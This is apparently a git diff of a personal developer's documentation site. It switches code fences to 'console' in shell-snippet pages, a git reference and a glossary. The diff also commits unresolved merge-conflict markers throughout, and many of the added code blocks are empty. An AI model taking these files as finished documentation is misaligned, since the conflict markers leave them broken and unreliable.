+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 #!/bin/bash
 
 for file in *.md.md
@@ -977,7 +1067,11 @@ do
 done
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/bash
 
@@ -1003,7 +1097,11 @@ done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 for d in ./*; do mv $d ${d:0:12}; done
 
@@ -1038,7 +1136,11 @@ fs.writeFile('output.md', cat, (err) => {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . -name "* *" -type f | rename 's/_//g'
 
 find . -name "* *" -type d | rename 's/#/_/g'
@@ -1055,7 +1157,11 @@ find . -name "* *" -type d | rename 's/#/_/g'
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . -name '.bin' -type d -prune -exec rm -rf '{}' +
 
 find . -name '*.html' -type d -prune -exec rm -rf '{}' +
@@ -1080,7 +1186,11 @@ find . -name 'left.html' -type f -prune -exec rm -rf '{}' +
 
 > Notes: Remove lines not containing `'.js'`
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 sudo sed -i '/\.js/!d' ./*scrap2.md
 
@@ -1088,7 +1198,11 @@ sudo sed -i '/\.js/!d' ./*scrap2.md
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo sed -i '/githubusercontent/d' ./*sandbox.md
 
 sudo sed -i '/githubusercontent/d' ./*scrap2.md
@@ -1114,7 +1228,11 @@ Now, let's understand the use of this with the help of an example. Suppose you h
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo apt install uniq
 uniq -u input.txt output.txt
 
@@ -1130,7 +1248,11 @@ uniq -u input.txt output.txt
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo sed -i '/githubusercontent/d' ./*sandbox.md
 
 sudo sed -i '/githubusercontent/d' ./*scrap2.md
@@ -1168,7 +1290,11 @@ sudo sed -i '/right\.html/d' ./right.html
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/bash
 TSTAMP=`date '+%Y%m%d-%H%M%S'`
@@ -1195,7 +1321,11 @@ printf "\nCreated: $1.$TSTAMP.zip\n"
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . | xargs grep -l www.redhat.com | awk '{print "rm "$1}' > doit.sh
 vi doit.sh // check for murphy and his law
 source doit.sh
@@ -1212,7 +1342,11 @@ source doit.sh
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/sh
 
@@ -1319,13 +1453,21 @@ cmd $listing --sort=extension >>$html
 
 > Notes: Useful Follow up Code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/sh
 
@@ -1433,7 +1575,11 @@ cmd $listing --sort=extension >>$html
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git filter-branch --index-filter 'git rm -r --cached --ignore-unmatch assets/_index.html' HEAD
 
@@ -1453,7 +1599,11 @@ If you have any files that are not tracked by Git (e.g. uploaded user content),
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git fetch --all
 # Backup your current branch:
@@ -1492,7 +1642,11 @@ git reset --hard origin/master
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git submodule deinit
 ```
 
@@ -1506,7 +1660,11 @@ git submodule deinit
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo apt install wget
 
 wget -q -O - https://api.github.com/users/bgoonz/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
@@ -1529,7 +1687,11 @@ wget -q -O - https://api.github.com/users/thomasmb/gists | grep raw_url | awk -F
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git remote remove origin
 
@@ -1545,7 +1707,11 @@ git remote remove origin
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-Web-Dev-Archive.git
 
@@ -1561,7 +1727,11 @@ git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-We
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git reset --hard master@{"10 minutes ago"}
 
@@ -1577,7 +1747,11 @@ git reset --hard master@{"10 minutes ago"}
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 # Safe:
 
  lebab --replace ./ --transform arrow
@@ -1652,7 +1826,11 @@ lebab --replace ./ --transform includes
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 npm i mediumexporter -g
 
 mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascript-8f9f709c15b4 >ds.md
@@ -1669,7 +1847,11 @@ mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascrip
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -size +75M -a -print -a -exec rm -f {} \;
 
@@ -1687,7 +1869,11 @@ find . -size +98M -a -print -a -exec rm -f {} \;
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 wget -r -A.pdf https://overapi.com/git
 
@@ -1703,7 +1889,11 @@ wget -r -A.pdf https://overapi.com/git
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 killall -s KILL node
 
 ```
@@ -1716,7 +1906,11 @@ killall -s KILL node
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find <mydir> -type f -exec sed -i 's/<string1>/<string2>/g' {} +
 
 find . -type f -exec rename 's/-master//g' {} +
@@ -1725,7 +1919,11 @@ find . -type f -exec rename 's/-master//g' {} +
 
 > Notes: The same could be done for folder names by changing the _-type f_ flag (for file) to a _-type d_ flag (for directory)
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find <mydir> -type d -exec sed -i 's/<string1>/<string2>/g' {} +
 
 find . -type d -exec rename 's/-master//g' {} +
@@ -1742,7 +1940,11 @@ find . -type d -exec rename 's/-master//g' {} +
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -name "* *" -type d | rename 's/ /_/g'
 find . -name "* *" -type f | rename 's/ /_/g'
@@ -1758,7 +1960,11 @@ find . -name "* *" -type f | rename 's/ /_/g'
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ```
@@ -1773,7 +1979,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1787,7 +1997,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1801,7 +2015,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1815,7 +2033,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1829,7 +2051,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1843,7 +2069,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1857,7 +2087,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1871,7 +2105,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1885,7 +2123,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1899,7 +2141,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1913,7 +2159,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1927,7 +2177,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1941,7 +2195,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1955,7 +2213,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1969,7 +2231,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1983,7 +2249,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -1997,7 +2267,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2011,7 +2285,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2025,7 +2303,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2039,7 +2321,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2053,7 +2339,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2067,7 +2357,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2081,7 +2375,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2095,7 +2393,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2109,7 +2411,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2123,7 +2429,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2137,7 +2447,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2151,7 +2465,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2165,7 +2483,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2179,7 +2501,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2193,7 +2519,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2207,7 +2537,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2221,7 +2555,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2235,7 +2573,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2249,7 +2591,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2263,7 +2609,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2277,7 +2627,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2291,7 +2645,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2305,7 +2663,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2319,7 +2681,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2333,7 +2699,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2347,7 +2717,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2361,7 +2735,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2375,7 +2753,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2389,7 +2771,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2403,7 +2789,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2417,7 +2807,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2431,7 +2825,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2445,7 +2843,11 @@ for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
@@ -2492,7 +2894,11 @@ foreach ($ZipFile in $ZipFiles) {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
  sudo apt --purge remove zsh
 
 ```
@@ -2507,7 +2913,11 @@ foreach ($ZipFile in $ZipFiles) {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ln -s "$(pwd)" ~/NameOfLink
 
@@ -2525,7 +2935,11 @@ ln -s "$(pwd)" ~/Downloads
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 npx @appnest/readme generate
 
@@ -2541,7 +2955,11 @@ npx @appnest/readme generate
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo -u postgres psql
 ```
 
@@ -2589,7 +3007,11 @@ https://repl.it/@bgoonz/Database-Prac?lite=true&amp;referrer=https%3A%2F%2Fbryan
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 
@@ -2607,7 +3029,11 @@ find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 #!/bin/bash
 
 # SHORTCUTS and HISTORY
diff --git a/src/pages/docs/docs/git-reference.md b/src/pages/docs/docs/git-reference.md
index 1e2741e9f6..9323e8b8fd 100644
--- a/src/pages/docs/docs/git-reference.md
+++ b/src/pages/docs/docs/git-reference.md
@@ -121,7 +121,7 @@ of heads.
 Create an empty Git repository. The Git repository's settings, stored
 information, and more is stored in a directory (a folder) named ".git".
 
-```bash
+```console
 $ git init
 ```
 
@@ -130,7 +130,7 @@ $ git init
 To configure settings. Whether it be for the repository, the system itself,
 or global configurations ( global config file is `~/.gitconfig` ).
 
-```bash
+```console
 # Print & Set Some Basic Config Variables (Global)
  git config --global user.email "bryan.guner@gmail.com"
  git config --global user.name "bryan"
@@ -143,7 +143,7 @@ or global configurations ( global config file is `~/.gitconfig` ).
 To give you quick access to an extremely detailed guide of each command. Or to
 just give you a quick reminder of some semantics.
 
-```bash
+```console
 # Quickly check available commands
 $ git help
 
@@ -166,7 +166,7 @@ $ git init --help
 To intentionally untrack file(s) & folder(s) from git. Typically meant for
 private & temp files which would otherwise be shared in the repository.
 
-```bash
+```console
 $ echo "temp/" >> .gitignore
 $ echo "private_key" >> .gitignore
 ```
@@ -176,7 +176,7 @@ $ echo "private_key" >> .gitignore
 To show differences between the index file (basically your working copy/repo)
 and the current HEAD commit.
 
-```bash
+```console
 # Will display the branch, untracked files, changes and other differences
 $ git status
 
@@ -189,7 +189,7 @@ $ git help status
 To add files to the staging area/index. If you do not `git add` new files to
 the staging area/index, they will not be included in commits!
 
-```bash
+```console
 # add a file in your current working directory
 $ git add HelloWorld.java
 
@@ -211,7 +211,7 @@ working directory/repo.
 Manage your branches. You can view, edit, create, delete branches using this
 command.
 
-```bash
+```console
 # list existing branches & remotes
 $ git branch -a
 
@@ -233,7 +233,7 @@ $ git branch myBranchName --edit-description
 
 Manage your tags
 
-```bash
+```console
 # List tags
 $ git tag
 
@@ -260,7 +260,7 @@ $ git push origin --tags
 Updates all files in the working tree to match the version in the index, or
 specified tree.
 
-```bash
+```console
 # Checkout a repo - defaults to master branch
 $ git checkout
 
@@ -279,7 +279,7 @@ Clones, or copies, an existing repository into a new directory. It also adds
 remote-tracking branches for each branch in the cloned repo, which allows you
 to push to a remote branch.
 
-```bash
+```console
 # Clone learnxinyminutes-docs
 $ git clone https://github.com/adambard/learnxinyminutes-docs.git
 
@@ -295,7 +295,7 @@ $ git clone -b master-cn https://github.com/adambard/learnxinyminutes-docs.git -
 Stores the current contents of the index in a new "commit." This commit
 contains the changes made and a message created by the user.
 
-```bash
+```console
 # commit with a message
 $ git commit -m "Added multiplyNumbers() function to HelloWorld.c"
 
@@ -314,7 +314,7 @@ $ git commit --amend -m "Correct message"
 
 Shows differences between a file in the working directory, index and commits.
 
-```bash
+```console
 # Show difference between your working dir and the index
 $ git diff
 
@@ -331,7 +331,7 @@ Allows you to quickly search a repository.
 
 Optional Configurations:
 
-```bash
+```console
 # Thanks to Travis Jeffery for these
 # Set line numbers to be shown in grep search results
 $ git config --global grep.lineNumber true
@@ -340,7 +340,7 @@ $ git config --global grep.lineNumber true
 $ git config --global alias.g "grep --break --heading --line-number"
 ```
 
-```bash
+```console
 # Search for "variableName" in all java files
 $ git grep 'variableName' -- '*.java'
 
@@ -355,7 +355,7 @@ Google is your friend; for more examples
 
 Display commits to the repository.
 
-```bash
+```console
 # Show all commits
 $ git log
 
@@ -373,7 +373,7 @@ $ git log --graph
 
 "Merge" in changes from external commits into the current branch.
 
-```bash
+```console
 # Merge the specified branch into the current.
 $ git merge branchName
 
@@ -385,7 +385,7 @@ $ git merge --no-ff branchName
 
 Rename or move a file
 
-```bash
+```console
 # Renaming a file
 $ git mv HelloWorld.c HelloNewWorld.c
 
@@ -401,7 +401,7 @@ $ git mv -f myFile existingFile
 
 Pulls from a repository and merges it with another branch.
 
-```bash
+```console
 # Update your local repo, by merging in new changes
 # from the remote "origin" and "master" branch.
 # git pull <remote> <branch>
@@ -421,7 +421,7 @@ $ git pull origin master --rebase
 
 Push and merge changes from a branch to a remote & branch.
 
-```bash
+```console
 # Push and merge changes from a local repo to a
 # remote named "origin" and "master" branch.
 # git push <remote> <branch>
@@ -447,7 +447,7 @@ from the remote. Since you have dirty (uncommitted) changes to some files, you
 are not able to run `git pull`. Instead, you can run `git stash` to save your
 changes onto a stack!
 
-```bash
+```console
 $ git stash
 Saved working directory and index state \
   "WIP on master: 049d078 added the index file"
@@ -457,7 +457,7 @@ Saved working directory and index state \
 
 Now you can pull!
 
-```bash
+```console
 git pull
 ```
 
@@ -465,7 +465,7 @@ git pull
 
 Now check that everything is OK
 
-```bash
+```console
 $ git status
 # On branch master
 nothing to commit, working directory clean
@@ -475,7 +475,7 @@ You can see what "hunks" you've stashed so far using `git stash list`.
 Since the "hunks" are stored in a Last-In-First-Out stack, our most recent
 change will be at top.
 
-```bash
+```console
 $ git stash list
 stash@{0}: WIP on master: 049d078 added the index file
 stash@{1}: WIP on master: c264051 Revert "added file_size"
@@ -484,7 +484,7 @@ stash@{2}: WIP on master: 21d80a5 added number to log
 
 Now let's apply our dirty changes back by popping them off the stack.
 
-```bash
+```console
 $ git stash pop
 # On branch master
 # Changes not staged for commit:
@@ -507,7 +507,7 @@ Take all changes that were committed on one branch, and replay them onto
 another branch.
 _Do not rebase commits that you have pushed to a public repo_.
 
-```bash
+```console
 # Rebase experimentBranch onto master
 # git rebase <basebranch> <topicbranch>
 $ git rebase master experimentBranch
@@ -521,7 +521,7 @@ Reset the current HEAD to the specified state. This allows you to undo merges,
 pulls, commits, adds, and more. It's a great command but also dangerous if you
 don't know what you are doing.
 
-```bash
+```console
 # Reset the staging area, to match the latest commit (leaves dir unchanged)
 $ git reset
 
@@ -571,7 +571,7 @@ Revert can be used to undo a commit. It should not be confused with reset which
 restores the state of a project to a previous point. Revert will add a new
 commit which is the inverse of the specified commit, thus reverting it.
 
-```bash
+```console
 # Revert a specified commit
 $ git revert <commit>
 ```
@@ -580,7 +580,7 @@ $ git revert <commit>
 
 The opposite of git add, git rm removes files from the current working tree.
 
-```bash
+```console
 # remove HelloWorld.c
 $ git rm HelloWorld.c
 
diff --git a/src/pages/docs/docs/glossary.md b/src/pages/docs/docs/glossary.md
index 2eb5857ac7..4d14fef5cd 100644
--- a/src/pages/docs/docs/glossary.md
+++ b/src/pages/docs/docs/glossary.md
@@ -14,10 +14,17 @@ template: docs
 
 ## Term: '404'
 
+<<<<<<< HEAD
 - Glossary
 - HTTP Errors
 - Infrastructure
 - Navigation
+=======
+-   Glossary
+-   HTTP Errors
+-   Infrastructure
+-   Navigation
+>>>>>>> master
 
 ---
 
@@ -25,19 +32,33 @@ template: docs
 
 #### See also
 
+<<<<<<< HEAD
 - [list of HTTP response codes](/en-US/docs/Web/HTTP/Status)
 - [advice for beginners on avoiding 404 errors](/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly)
+=======
+-   [list of HTTP response codes](/en-US/docs/Web/HTTP/Status)
+-   [advice for beginners on avoiding 404 errors](/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly)
+>>>>>>> master
 
 ---
 
 ## Term: '502'
 
+<<<<<<< HEAD
 - '502'
 - Bad Gateway
 - Glossary
 - HTTP Errors
 - Infrastructure
 - Navigation
+=======
+-   '502'
+-   Bad Gateway
+-   Glossary
+-   HTTP Errors
+-   Infrastructure
+-   Navigation
+>>>>>>> master
 
 ---
 
@@ -49,17 +70,29 @@ Normally the upstream server is not down (i.e. furnishes no response to the gate
 
 #### See also
 
+<<<<<<< HEAD
 - [list of HTTP response codes](/en-US/docs/Web/HTTP/Status)
+=======
+-   [list of HTTP response codes](/en-US/docs/Web/HTTP/Status)
+>>>>>>> master
 
 ---
 
 ## Term: Abstraction
 
+<<<<<<< HEAD
 - Abstraction
 - Coding
 - CodingScripting
 - Glossary
 - Programming Language
+=======
+-   Abstraction
+-   Coding
+-   CodingScripting
+-   Glossary
+-   Programming Language
+>>>>>>> master
 
 ---
 
@@ -67,14 +100,25 @@ Normally the upstream server is not down (i.e. furnishes no response to the gate
 
 ## Advantages of Data Abstraction
 
+<<<<<<< HEAD
 - Helps the user to avoid writing low level code.
 - Avoids code duplication and increases reusability.
 - Can change internal implementation of class independently without affecting the user.
 - Helps to increase security of an application or program as only important details are provided to the user.
+=======
+-   Helps the user to avoid writing low level code.
+-   Avoids code duplication and increases reusability.
+-   Can change internal implementation of class independently without affecting the user.
+-   Helps to increase security of an application or program as only important details are provided to the user.
+>>>>>>> master
 
 ## Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 class ImplementAbstraction {
     // method to set values of internal members
     set(x, y) {
@@ -97,15 +141,25 @@ obj.display();
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Abstraction (computer science)", "Abstraction"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Abstraction (computer science)", "Abstraction"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: accent
 
+<<<<<<< HEAD
 - Glossary
 - Input
 - accent
+=======
+-   Glossary
+-   Input
+-   accent
+>>>>>>> master
 
 ---
 
@@ -123,11 +177,19 @@ You can set the color of the accent for a given element by setting the element's
 
 ## Term: Accessibility tree
 
+<<<<<<< HEAD
 - AOM
 - Accessibility
 - DOM
 - Glossary
 - Reference
+=======
+-   AOM
+-   Accessibility
+-   DOM
+-   Glossary
+-   Reference
+>>>>>>> master
 
 ---
 
@@ -137,6 +199,7 @@ Browsers convert markup into an internal representation called the _[DOM tree](/
 
 There are four things in an accessibility tree object:
 
+<<<<<<< HEAD
 - **name**
 - - : How can we refer to this thing? For instance, a link with the text "Read more" will have "Read more" as its name (find more on how names are computed in the [Accessible Name and Description Com
 - **description**
@@ -145,6 +208,16 @@ There are four things in an accessibility tree object:
     - : What kind of thing is it? For example, is it a button, a nav bar, or a list of items?
 - **state**
     - : Does it have a state? Examples include checked or unchecked for checkboxes, and collapsed or expanded for the [`<summary>`](/en-US/docs/Web/HTML/Element/summary) element.
+=======
+-   **name**
+-   -   : How can we refer to this thing? For instance, a link with the text "Read more" will have "Read more" as its name (find more on how names are computed in the [Accessible Name and Description Com
+-   **description**
+-   -   : How do we describe this thing, if we want to provide more description beyond the name? The description of a table could explain what kind of information the table contains.
+-   **role**
+    -   : What kind of thing is it? For example, is it a button, a nav bar, or a list of items?
+-   **state**
+    -   : Does it have a state? Examples include checked or unchecked for checkboxes, and collapsed or expanded for the [`<summary>`](/en-US/docs/Web/HTML/Element/summary) element.
+>>>>>>> master
 
 Additionally, the accessibility tree often contains information on what can be done with an element: a link can be _followed_, a text input can be _typed into_, etc.
 
@@ -152,17 +225,29 @@ While still in draft form within the Web Incubator Community Group, the **[Acces
 
 #### See also
 
+<<<<<<< HEAD
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Accessibility"_)
     - _Glossary("ARIA"_)
+=======
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Accessibility"_)
+    -   _Glossary("ARIA"_)
+>>>>>>> master
 
 ---
 
 ## Term: Accessibility
 
+<<<<<<< HEAD
 - Accessibility
 - Glossary
+=======
+-   Accessibility
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -170,6 +255,7 @@ While still in draft form within the Web Incubator Community Group, the **[Acces
 
 #### See also
 
+<<<<<<< HEAD
